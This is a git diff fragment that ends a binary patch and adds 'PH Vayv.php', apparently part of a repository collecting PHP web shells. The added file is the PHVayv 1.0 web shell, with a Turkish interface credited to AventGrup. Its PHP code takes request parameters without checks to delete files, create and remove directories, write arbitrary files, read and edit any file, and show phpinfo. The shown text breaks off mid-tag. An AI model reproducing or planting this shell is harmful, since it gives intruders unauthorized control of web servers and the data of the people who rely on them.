z1ayGDloC)o{u7fz`71iRO+h+HAn{I@ZrnfC>SOS7mB1u%Q4|V|@jzPt=6B|#D5l)N zw@@2j^xVx53`pgjsOME@38mlv8rvj4MGC+NJ^jCfEWnf^`~eBy<#RsxtGLqK#33(_ zIn?i^ukSQGh|n*MN-XYRuYZ`ESkv46MU<rPPY{oi{zTc=s!-Ou71n;VFG9Qg6K4HS z{M8%&#%NNkU_8gP0li7ZdtX<GO~%p7Kl|LwK>~z*a$Q}sjZG2LBtq=lin49fAYqmj zKVwx;Rr5!>Pw5}C6e6|71!mq^h<;C%`dz-4ziP0@zLt1+Ob8ET8sG^hsE?jU;kNrE z!P2_iTU1o5rqS8#@t*jRYopB+vcL^f9(-3Dacq^^DvR8@V>!jdLmNfr-vQl7YcSVI zxVV{7%W8#CbmFO}PH?;Eo{9_hIr2D|8>*@n2LoXq;ia!F>>%4RL?I=pH(GCSzB*xQ zDS{hK$3iG}FST*fO(xW50U2Q>?zNCqhH&lRd%Dmk<N9~YVgvx=fZN34Hx&Wj5dSqX zl2Q#kI8#xG4!81@Y{?X<xv~{|)Lop|W#JDsSSVy<2lxWJci$0c+|pwYQ^oGIU?Q}a zX7pj}ksJZ@W03iiFfEx#&!10yXOWd7DvBESNRLudPUR@Rfnsgbw%kEY6*kNoom-yG zvra0*GBPcpwy!`u{D$4Ap?NfUWfYkTVyqIBdN-wiLusvTK)?9&Ua((R$r2SlRIp?p zD+$|4{q{&^%o+QLLw?9$U8(Bp&WP&m9#z{LOQgsS!u%^fm~lUTitwNK;Pe9F(Vak$ ztbU9Owr+W@!SAR|{U^kiqlEOkcJFr_1d9Cr<XgRN&rjZu<+!lEy}4NuGxt%9xpK>= zInj7cb<C3BEQmX1+Twl)*XLCtiU2uC<+G3=VCFX<_6I~31n}5AxI0vO2OqAxOy>*k zAH9!l;Q2dtvwHV4AN}W2#xFT>Z&!}ILt+J?TaBk5EJNZ=!?1?QWttih`u+rxjWU?# zeaJG5tZ(sJ>y{oFl{B%wZA(P8;@{M+PzR|<*B3sDHg}^}rs+!yAxxrywhBV}enZ0C zzn$>Bm7rqZEKDBcA(h+ky&Z_U5P6X`F4_1bp3zU<wZuz&N1}b)YfEHXvCL-wc(pi@ z&u(h!&1unuFw@s7pyC1~tHp)G;m|4AZk*`PALZ$)l;5O$Cp1=lJYwT@e?e|awv|;P zR~!6ohi7gtVl-l@v5=nctZnH0ag18U{tOQ-yC3uIv}QD<cU~5eebTjvp6FzD-M85% zv7ZH$C~FcN!Wg1lIafL4d8RjNlC4}xdrA?7%4uC=kZpI|$%!zIGBRKG<pr+8_x8;9 z+COlFaOUvtB;8?L5LV#y_B3YtMJ@PqT-Jw|m7Cr?PG(?z8FhSBAC>x>Y-Naq53zKU zfs$vUr8YOc&Io-n2pXdprrk3`vYpMDbput>yf)eIU$j|)yJY>OMEvF1lOy5HF;r4V zKF97dD);U2Tc(YfI2=OE>G=W3+8}26PJOH)TSLhl0gFeepble;62!OEx4m%aNAmn% zk#b3Ve5~9Vl_M;NkSzT+LzNT+oKtI5(vmkUJ;;*e{H>fUSoDRh?c)VHc##=l!{r{z z9b;V>teY2Kn~X$^+aDSKT+VAH<F&%`TKRgd2)^cRuX)@5iM;K#lJQ!}_}{H$JQ~Rx zIotxOJyZolT%)RQAW5_06*x=?Y>nhtB+!3q7?`V#{#wRnZL59v^{6GiN(+H<C1!Kv zXc@%VHmFVhIniPR-@`onNoICt`<l+XMlu|qZnRu{Z6t&AKCqG<*h8OCuk`H<S@c>} z%0@=OH$<WC3+Y2R(2z_l$VkumYK2*Y?i^qiv{-?Aqs3I}*nO_%kj(G{Uv;qd^tXx2 zC~bmuRpNJ?0U=u~9dtDD6#nZHkjXj;V?8U?W^cyycspZ+PK15pj!6BZ1xuUTKGRi# zFP~!xjQtn><U9TUFVDhA!~<og$@#F+7gxX;OU~$T+?V<<Kr!ddpC)YK{mHkZToief zno-@&<+KRQOO@tI=&XW<>?_~S)Q)rl>Qh2#E8>)lF?Onvkdsv!Z7CM+`0!l;zh|la zl&^-VtMs~z1tkC$bNYG~)?3>=I$iefDQwF;qNgZNXAVzh&hA(aBw-r-mKgSXhFEb< zM!LskqA_hx<GH<v*?1})v9W)dl#0DQg!|8++!t-DyX!<Wc14u;oNn=y^}i=Y(G5fq znB8$0EEKa@(^T|M8=LxqC&SG^jkt;m>?$-m|2ysZ?`NjU(innFtIl5~2hL`tpZK{i z!WelYKM|RuB}MD!&D^}eaX3m8RIG{K()GGLW6u0KaqMO)V(r>1yARvC0x)2Gy`Wm# z=h)!FEc}<x(K6d=rt~$f--brZJ{a6|A2?Pil8dw)aot5qn3|(~o8Hmvn^=3#b0p(u z#(e2ls98c7dck2)xaJ76mSQFtH#ypqBd?wCYK!Lw@Q}Ax;*En$K03MEPF;vqcTLI; z7ET#3;y1Q&)KW!+c@o@7w!_>i8{CXq*S4`S!+fuWgoD`l%0{`$6Iv7R#shBt`WLt@ z)MsF*mL=0N+rHxV`;1CL$b0H&;}<wP1$miEk7p0*1_`<A?o7xHj4HljYUDE^G8P*X zS~6CD41eqYHyk2Kc|Ae@Cfib7QITJd1=Svx%`K@?llTw}|6YS9iZ%T@Yu3OpTk<(E zM!HZrCp)Q|fU|Wx?jX5h8CczanSF-TeMY7_^C7%UFHP}I7fa6O-jYij(UKbsZHEY2 zYU0w9e$69Z^N80x;x&)>OK9mj`Sm&}7|f^ow@m8)Ng;s3pSBWE%VUAfQw9`z3FPSL zu76lb7|>cUDEY$2bsI1#xEELRA4oaqgP`93z^wg}js?7Mw|k^b@WeXN5=+0pl`U>@ z#onw<nkq6}Hd?Brw%AX)pnyaTvmAl7u$Y}4X*NjaY-QbZ@Na0ifFu$;4cK3^YfzUz zx`qWX<=vGRboB!?L6>OvT?b^JcTs&ly;bo1yC@g^g_Zb!pyuwo*^crqb63Vq6{E!5 z;$y{n=7&9xsqwe=THj+<{t_+Y<RG-c7jGK<lyw3Pc#uT|9Nowt8&3~?Ll8;8(M-~o zULAoXkTdfOryBkXIV$$|W+GDldx{yQMI!texKWokNkuZOqd5aMI%#l5R46?nq;sbD zimJc939o|igGgK3uCgv2=CX+?#{{IpnQRgD&5-(78HTXz-cm-v@f3>)Y`9FQ<agRp zmw>r<UKsOzFmB4^o&s!X&614_OyZXr0)KhQ3RHf|tNg4g%i*{e#Q1)gxg~>5@YoMl zvh{6jpZ9ya;`V;RyBw=|U4+u|I15tezPv@<X67yu_PKX2PBjae36l@NtvrI5gv;u9 z?(RKa(~#eO$0)_<J5eE@Ms~2A=#+Ec&J@29n<4QAN~HZ>5iuI1oqutK2#EGUO+qhK zXSs8+9w(o_FTPm1`;sGYs$znl_#&rx!$&;lt8jcDYeEaVtI7c2Tg)59et&^Zr1A%q z$fq#GnpqVy0v{l?dLi)!#hf!+k_Jn*084GrcrbcG_Me*S`$1D)(|v#3U*wwZ`!~AJ zO-i=nUc*t0$$o7Eo9*}L%T3rbgpf0m)|#EW(Qf1^<>C`!G4oOterC=FHHo~u(CqUh zbD^Ua(Vvso{=-Hg`7U!cq|J^doQ31m(i6sr<Ah`d$Ot}3X94(*=dy!``~!mL=(?ri zZ**U2h-FSt%~#F*jcRjzu#`!japcQLXIdb-e2e4@#tvz!?*QPrvhgVRfkdpb#rJ}O zlm-Mjj1=}%YP+s7$SSay*c;dJiyQV!+FcUnmZ;o0MpPH=($~d3#^jg<v)NRB<svm> znuPZ&g|ZFT`-oicBXYg(%=LaezpB))rLfmh*#D7I*lWq>wdC{vTFK}C6Z<<}Z(?%2 ziOHXCVp0@)KggosSbqv#_tUgX62npvQ|Tu`H~+@fM)NWrA&~$RKF#CUXwev<v5+Tk zl`8@uIGV)k4$&Kf#0Gx@*oqvI#f1hGVl~+nMjx!oP<&QzF=7V3NTQwj51p%YCO;S{ zlE57PS{tdb-zsD(mnvX1$@!Lg<%u8mGMCoOUq2jac`6|oF@8s(M3JVSIp?t?LWhZ| znOP%LKzR`GbZ&cl&6r&?X4j0_HDmTmsOFk6yJpP(XEJ900DE^0!>(c2e;*9%PBa+Y zDje_8jF-*J>SjsjNaf`Xj9_hw56i5(`yn^Ik7JUPd096iD92ufLDqcZ3*1XdkmQYq zeEVzXT&>i|<@ZtlUwh{r)l`-S@K6Mlpfsf;LJ&|ukfI_jND#;%y$6scoe-L$bd4NC z7l9E}`ckDQz~D$32%t0>KspG5B1M`35pc6RBO1m9_MF+>VbA*`=j0?gFYkWmz2tuP zyWj7pdg~*m&sZ9NU1CPJklUXibM%5{A_9wbiYyf;7wX<e-vG&PwmuY|Q_*_JdEKL$ z(&2^i#k%YE!EDj9woI;lg?$=);h7Et7$Pbq^2dYM9xJ+&vAyZkB7Xs6-VV{Y7v2Lh zFdzf_ZU&a?M-C4+m>s<_S)bm~AkfR#!$3GO=5w+#X9-LOvin)y;-IoGuI%X(Y%I6; zBCntt<I`mwHdQ<-;<R{oF|n7L1a?n^SdrlJ7r1(UD!7dtI-9qY8?&#(BqMJ@b}A0m z$aaC&m51rYuf$E#ID90MfU6i5B~-8|+gM)<yBP6MOhM+CEmNm0Rjy1F3sInIm!%k` z<{?uT0~fP6v0vVSvxw)3vms^Ffv5m(CqKOtXf__OySr1&_Qy&;WVj1ZC1}b%AHMD8 z&p?^JotT)(2XUC!RolmmVrOV3a4x@@6Sl%cfw%y1*;I7^_t9@F5L<tffw=sC#N{O^ z)WG0K)%>B_mrpsnL_|JlEVelaqY8S*IqpXh#b#U@X2ichQgr@q*oaE9XZ|J}Du&a< zQj5Mk&(h-VQ7&N(p;v9lP)q9_GKNA74e3r$^^>z0_Oh~4xWORn9v|c!cG~=>)V>=< z0NGDTYqunkt82)01}O(ag{+muTBczKMwmaEr_zC6!8Xd$_l}{$)uj9P{H0R9vxhUe zvdk&bgB_va+Di%F&k;{8S3^BdwG&ofn(K(*xLSHe`6I8y*3(U;EG}r!F+DKo2ARS1 zj1K-8t!gOit8i<bK~)OQ9eI|!87Fz<Cj8{D<SvWmE_|a~j*Ye=L&8dZ3n4z_y6yCu z=9Mbv-{eXvFhFymt`YnZ^P@xhGwI<RtgU#|Z3?~=NxEDPJ#85IUgn5=d+xv{LtvBP z_n0CLDrIMeorX`{Clp|<`8d`JPIAe(yqWr_C*vB#{ZRN4GJp0K!;d3sYlTHZcvO+0 z9JNSHLq)6Rmh@;#UIH3y1=53mdeydMdqCRsyKfGN%LXryW`F6qA!YFZaRK7;mBq8i zmO`Y~Na1ZcvFL)e3v<}_AyRO-pRVs>ADq*P;G;5O!vl_O&@~Jo#To9-hD9GqHyO&? zED|#VeU5FdUqn2Z1@|;jGKx>?*b}bCX{jCV`b9kmSB>r>s8E3h7}OLH>zXE4w{OQP z-Bq`kD^Y><jUraR?VY^r+^yw4<!Fl(Rna~*&0ZT;3ts)U!8a4ON5k#6Hk-9)iO%#* z4B+FLOmR@gT9xsdHaF-Rbmu-Rx)2!VoQ{L2tH8r6i($ns`}!>vY4j;T+|~M(=k<z; zgFATfXRVDo%XB~uI}6NqHPp0CjDFf?r<K9dDWV*?ZS_+qkqCEqlD#3+LT#Rs{Y(#U z+~}fRPtVYalQyrOG>84|{AKCcn-79cCtxb2Q$n)M5v5&2pE5GrR&kkeUle9eR`vJS zE~b=-TX~v3QfpiLSp+tg^ifDAWc}t$z>-johQfvl7wtxMnZl|bRz*M?X7$ehSa8S0 zdDSyb?ykq~%p>{miM>$ph>Jm=JK4F{sK%D0nM(2N-Oi$Mwu9k>yEzpUkdue|8bA+( z&NVQ5ma|J5aK&R>L`zLI)ZtDm-JX=GMs3G*12vVKIOlq5W=zFexat^Mm_j08;4m3_ zAF79ee$3jc<e2{r_~Os}UI3y&Gy{C)Ap#H$5{L#G9~d*tR=+-=EjfweFZS^_Z7i>W zq*yK+2L6)Sool+HRNHT{(PNz9P#1X|to7kCbYJa$R(CgA?xEmp(%H*ak|5=>`GJxr zh1ilugbCHhP$T6c(`SciK%(5dXB+6k2i-N0y(SkeEs=IaBM1Z02*P$ug$lKlZ?}Dg zW)UdS{NArk8hv2y2+SS#?A#H!r-6HViG|p>??6-l@3Fk+Pr7z3NYq6}L^D~P0<HOq zhhAw}*O@lC^dfwf-96VUN}wi$m(<liFd=pWrYEDB8~U+WxVBfmld}>rZ6VdvI?@sr z1?A(8JsxT2V@nxrhLFtSaHcV{u(^Dhu7)}0LtE#E%q^MB7E>6l;%-!ERPO>7=wDP# z%~vfccV!?p(#G0oh`2Jf!>i1}GwJu%<DlpTe#H8a{}t_(?hw*+ji{pzo*m40X?8$K zRoXBJLtGJ@%alj!*mt211NC?srNth<J2C3hjXeAOc)J;n8HCmnBb(l5T7rdh2#W9u zTi=!nhkNmWJ$5AQ?`EV26gEj0oBA-M5>Yl6LX?yhlvgc@n@8te!!9M!L(}|%g<MZb z`-O*(rs6JfG&er8#!<MwJ=e%2l$BfJ$a+0?{JDnN`=3mFKZ9}|ee5=?OgLfVq`K=I z5=R7J6|WzB20icSG$(4C@5W>W^vDxkNlFRnzY>=lE!(T6X+1uJGT?evUd#qIs~br! z{@w0RM)hq~EM0`c*@{XfgS^47z2x2r$!ccQyR}Q0#T&B=XM|1XO+Cmd{6TzVZvR_9 zK?*BOOQiX)kiZ{AQAcASz1MnGRa=kp1VVLdsG}!MXhxL{5w8OIcy4~=z6W}@hxzkB z-3VaO@4%w>LME%Bas~%9{mzyq7`^@kxj`;pk3jNY^)e3%<N+_|hNkuBR@aO-pV2Wp z#TV~3a<f76!A3064Y*w^g;Kky17gJwVrs<aO`kCkFLA_I{Gc%g3_dK}!$aU|ae2wV z{Q(rcDt58|8xS=EqUJAI5*cv40Ko6RBJlgaCjka<8Gn6T1|Vt%M9u$EQFHFlQ2!*M z1?4_&O?fDmwg@r;%GnQzX$N<mdjhpaa_an0md%-4e%|O3Ie1Le+c#-W7}cf@>P#&@ z^<nCU=TppZ^WArSEFK$?e9C!D-t3CfH^WesvK{>^k(Uy>jT4Od#B$ge;XZuGM08(X zGESApg<2peMv=W!-;_&bSo=<T*=gT!>|G;s0o|~Le2RlKvKXx5K4$Gb|6r3BB6X}6 zd?BFckQx95DK-Vk-<p)a^J@MTIV1T3{`(=$>NLjB-CC26AiS$B+lrR5r?IqtFm^an zG8xbI$`gD@DI;(|4i5t%KZAakLw_v+#lk@BxD+Nw6NUqyK_ZJx)t^C0J|P7^J8phf zs@d_|^@{Hcqiyvy)E7U=<KYj32qV5NSd~ks8>k&4(nm(f?J1J~C=t6?+^x|mraEjT z?>PZ+a!NZbO<xA4_ox{e%QO${@5q1jNv)*vp5R@39TnPkMzYa|fp5R!=D$9BmKw#D z@U7gOpjP@=W^6{@3!Rtb*#G7|S~Ib1cDC^!4llvfO(Oe(!nR<{RE$j`OM<%j$NK!) zG&}KPX4I#+3sH?UJWRtpHz$ovGJ|KN;_kdJ$iEWHx6m9(S1AFGi8A3UT<nrw;=<df zqUTTPuilwi-ne}$fl;<B5t-jHG-CvJerjH8>>Wp$eHj%I9!8kbsG1wUogPo?&em;j zb?f$lY9Ht3$H6oL!q<ZjQggX$!>5VvH`|K=Q;q&1DW>+)#Zc$|xQj!Y(O|?F7q2pP zCMuyb6_f3%PE6IKYWH|`c57uegIS9V#;ir9`mdMiVvzhP6*#AgSzdG(FC+SyXf-NU zOVd1403(=jbZU-icy&=SD-~lcK|+{K#eh!GR(e;IiD%Sx&qOH~Mpw9b4A2MA+o#5` Z4`lxv-bnk@?9kP<rnjjW#emPfe+O2LB2EAR literal 0 HcmV?d00001 diff --git a/php/PHPshell/PH Vayv/PH Vayv.php b/php/PHPshell/PH Vayv/PH Vayv.php new file mode 100644 index 0000000..c01e2c7 --- /dev/null +++ b/php/PHPshell/PH Vayv/PH Vayv.php @@ -0,0 +1,597 @@ +<? if($sistembilgisi > "") {phpinfo();} else { ?> + + +<?$fistik=PHVayv;?> + + +<?if ($sildos>"") {unlink("$dizin/$sildos");} ?> + +<?if ($dizin== ""){$dizin=realpath('.');}{$dizin=realpath($dizin);}?> + +<?if ($silklas > ""){rmdir($silklas);}?> + +<?if ($yeniklasor > "") {mkdir("$dizin/$duzenx2",777);}?> + + + +<?if ($yenidosya == "1") { +$baglan=fopen("$dizin/$duzenx2",'w'); +fwrite($baglan,$duzenx); +fclose($baglan);} +?> + + + + +<?if ($duzkaydet > "") { + +$baglan=fopen($duzkaydet,'w'); +fwrite($baglan,$duzenx); +fclose($baglan);} +?> + + + + +<?if ($yenklas>"") {;?> +<body topmargin="0" leftmargin="0"> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59"> + <tr> + <td width="70" bgcolor="#000000" height="76"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/avlog.gif"></td> + <td width="501" bgcolor="#000000" height="76" valign="top"> + <font face="Verdana" style="font-size: 8pt" color="#B7B7B7"> + <span style="font-weight: 700"> + <br> + AventGrup<br> + </span>Avrasya Veri ve NetWork Teknolojileri Gelitirme Grubu<br> + <span style="font-weight: 700"> + <br> + PHVayv 1.0</span></font></td> + <td width="431" bgcolor="#000000" height="76" valign="top"> + <p align="right"><span style="font-weight: 700"> + <font face="Verdana" color="#858585" style="font-size: 2pt"><br> + </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F"> + <a href="http://www.aventgrup.net" style="text-decoration: none"> + <font color="#858585">www.aventgrup.net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br> + </font></span><font face="Verdana" style="font-size: 8pt" color="#858585"> + <a href="mailto:shopen@aventgrup.net" style="text-decoration: none"> + <font color="#858585">SHOPEN</font></a></font><font face="Verdana" style="font-size: 8pt" color="#B7B7B7"><a href="mailto:shopen@aventgrup.net" style="text-decoration: none"><font color="#858585">@AventGrup.Net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;</font></td> + </tr> + </table> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="20"> + <tr> + <td width="110" bgcolor="#9F9F9F" height="20"><font face="Verdana"> + <span style="font-size: 8pt">&nbsp;allan </span></font> + <font face="Verdana" style="font-size: 8pt">Dizin</font></td> + <td bgcolor="#D6D6D6" height="20"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4"> + <tr> + <td width="1"></td> + <td><font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$dizin"?></font></td> + <td width="65"> + &nbsp;</td> + </tr> + </table> + </td> + </tr> +</table> + +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber30" height="184"> + <tr> + <td width="100%" bgcolor="#000000" height="19">&nbsp;</td> + </tr> + <tr> + <td width="100%" bgcolor="#9F9F9F" align="center" height="144"> + <form method="POST" action="<?echo "$fistik.php?yeniklasor=1&dizin=$dizin"?>" + <p align="center"><br> + <font + color="#FFFFFF" size="1" face="Arial"> +<input + type="text" size="37" maxlength="32" + name="duzenx2" value="Klasr Ad" + class="search" + onblur="if (this.value == '') this.value = 'Kullanc'" + onfocus="if (this.value == 'Kullanc') this.value=''" + style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"></font></p> +<p align="center"> + <span class="gensmall"> + <input type="submit" size="16" + name="duzenx1" value="Kaydet" + style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center" + </span></span><b><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><br> +&nbsp;</font></b></p> +</form> +</td> + </tr> + <tr> + <td width="100%" bgcolor="#000000" align="center" height="19"> + &nbsp;</td> + </tr> + </table> + + + +<? } else { ?> + + + + +<?if ($yendos>"") {; +?> + +<body topmargin="0" leftmargin="0"> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59"> + <tr> + <td width="70" bgcolor="#000000" height="76"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/avlog.gif"></td> + <td width="501" bgcolor="#000000" height="76" valign="top"> + <font face="Verdana" style="font-size: 8pt" color="#B7B7B7"> + <span style="font-weight: 700"> + <br> + AventGrup<br> + </span>Avrasya Veri ve NetWork Teknolojileri Gelitirme Grubu<br> + <span style="font-weight: 700"> + <br> + PHVayv 1.0</span></font></td> + <td width="431" bgcolor="#000000" height="76" valign="top"> + <p align="right"><span style="font-weight: 700"> + <font face="Verdana" color="#858585" style="font-size: 2pt"><br> + </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F"> + <a href="http://www.aventgrup.net" style="text-decoration: none"> + <font color="#858585">www.aventgrup.net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br> + </font></span><font face="Verdana" style="font-size: 8pt" color="#858585"> + <a href="mailto:shopen@aventgrup.net" style="text-decoration: none"> + <font color="#858585">SHOPEN</font></a></font><font face="Verdana" style="font-size: 8pt" color="#B7B7B7"><a href="mailto:shopen@aventgrup.net" style="text-decoration: none"><font color="#858585">@AventGrup.Net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;</font></td> + </tr> + </table> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="20"> + <tr> + <td width="110" bgcolor="#9F9F9F" height="20"><font face="Verdana"> + <span style="font-size: 8pt">&nbsp;allan </span></font> + <font face="Verdana" style="font-size: 8pt">Dizin</font></td> + <td bgcolor="#D6D6D6" height="20"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4"> + <tr> + <td width="1"></td> + <td><font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$dizin"?></font></td> + <td width="65"> + &nbsp;</td> + </tr> + </table> + </td> + </tr> +</table> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="495"> + <tr> + <td width="100%" bgcolor="#000000" height="19">&nbsp;</td> + </tr> + <tr> + <td width="100%" bgcolor="#9F9F9F" align="center" height="455"> + <form method="POST" action="<?echo "$fistik.php?yenidosya=1&dizin=$dizin"?>" + <p align="center"><br> + <font + color="#FFFFFF" size="1" face="Arial"> +<input + type="text" size="50" maxlength="32" + name="duzenx2" value="Dosya Ad" + class="search" + onblur="if (this.value == '') this.value = 'Kullanc'" + onfocus="if (this.value == 'Kullanc') this.value=''" + style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center"></font></p> +<p align="center"><b><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#000000" bgcolor="Red"> + <textarea name="duzenx" + style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-CENTER: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: left" + + + rows="24" cols="122" wrap="OFF">XXXX</textarea></font><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><br> +<br> +</font></b> + <span class="gensmall"> + <input type="submit" size="16" + name="duzenx1" value="Kaydet" + style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center" + </span><br> +&nbsp;</p> +</form> +</td> + </tr> + <tr> + <td width="100%" bgcolor="#000000" align="center" height="19"> + &nbsp;</td> + </tr> + </table> + + + +<? } else { ?> + + + + + +<?if ($duzenle>"") {; +?> + + + + +<body topmargin="0" leftmargin="0"> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59"> + <tr> + <td width="70" bgcolor="#000000" height="76"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/avlog.gif"></td> + <td width="501" bgcolor="#000000" height="76" valign="top"> + <font face="Verdana" style="font-size: 8pt" color="#B7B7B7"> + <span style="font-weight: 700"> + <br> + AventGrup<br> + </span>Avrasya Veri ve NetWork Teknolojileri Gelitirme Grubu<br> + <span style="font-weight: 700"> + <br> + PHVayv 1.0</span></font></td> + <td width="431" bgcolor="#000000" height="76" valign="top"> + <p align="right"><span style="font-weight: 700"> + <font face="Verdana" color="#858585" style="font-size: 2pt"><br> + </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F"> + <a href="http://www.aventgrup.net" style="text-decoration: none"> + <font color="#858585">www.aventgrup.net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br> + </font></span><font face="Verdana" style="font-size: 8pt" color="#858585"> + <a href="mailto:shopen@aventgrup.net" style="text-decoration: none"> + <font color="#858585">SHOPEN</font></a></font><font face="Verdana" style="font-size: 8pt" color="#B7B7B7"><a href="mailto:shopen@aventgrup.net" style="text-decoration: none"><font color="#858585">@AventGrup.Net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;</font></td> + </tr> + </table> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="1"> + <tr> + <td width="110" bgcolor="#9F9F9F" height="1"><font face="Verdana"> + <span style="font-size: 8pt">&nbsp;allan Dosya</span></font></td> + <td bgcolor="#D6D6D6" height="1"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4" height="19"> + <tr> + <td width="1" height="19"></td> + <td rowspan="2" height="19"><font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$dizin/$duzenle"?></font></td> + </tr> + <tr> + <td width="1" height="1"></td> + </tr> + </table> + </td> + </tr> +</table> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1"> + <tr> + <td width="100%" bgcolor="#000000">&nbsp;</td> + </tr> + <tr> + <td width="100%" bgcolor="#9F9F9F"> + <form method="POST" action="<?echo "PHVayv.php?duzkaydet=$dizin/$duzenle&dizin=$dizin"?>" name="kaypos"> +<p align="center"><b><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#000000" bgcolor="Red"> + <br> + <textarea name="duzenx" + style="BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: left" + + + rows="24" cols="122" wrap="OFF"><?$baglan=fopen("$dizin/$duzenle",'r'); +while(! feof ( $baglan ) ){ +$okunan=fgets($baglan,1024); +echo $okunan; +} fclose($baglan); ?></textarea></font><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><br> +<br> +</font></b> + <span class="gensmall"> + <input type="submit" size="16" + name="duzenx1" value="Kaydet" + style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center" + </span></p> +</form> +</td> + </tr> + <tr> + <td width="100%" bgcolor="#000000"> + &nbsp;</td> + </tr> + </table> + + + + + + + + + + + +<? +} else { +?> + + + +<html> + +<head> +<meta http-equiv="Content-Language" content="tr"> +<meta name="GENERATOR" content="Microsoft FrontPage 5.0"> +<meta name="ProgId" content="FrontPage.Editor.Document"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1254"> +<title>PHVayv 1.0</title> +</head> + +<body topmargin="0" leftmargin="0"> + +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59"> + <tr> + <td width="70" bgcolor="#000000" height="76"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/avlog.gif"></td> + <td width="501" bgcolor="#000000" height="76" valign="top"> + <font face="Verdana" style="font-size: 8pt" color="#B7B7B7"> + <span style="font-weight: 700"> + <br> + AventGrup<br> + </span>Avrasya Veri ve NetWork Teknolojileri Gelitirme Grubu<br> + <span style="font-weight: 700"> + <br> + PHVayv 1.0</span></font></td> + <td width="431" bgcolor="#000000" height="76" valign="top"> + <p align="right"><span style="font-weight: 700"> + <font face="Verdana" color="#858585" style="font-size: 2pt"><br> + </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F"> + <a href="http://www.aventgrup.net" style="text-decoration: none"> + <font color="#858585">www.aventgrup.net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br> + </font></span><font face="Verdana" style="font-size: 8pt" color="#858585"> + <a href="mailto:shopen@aventgrup.net" style="text-decoration: none"> + <font color="#858585">SHOPEN</font></a></font><font face="Verdana" style="font-size: 8pt" color="#B7B7B7"><a 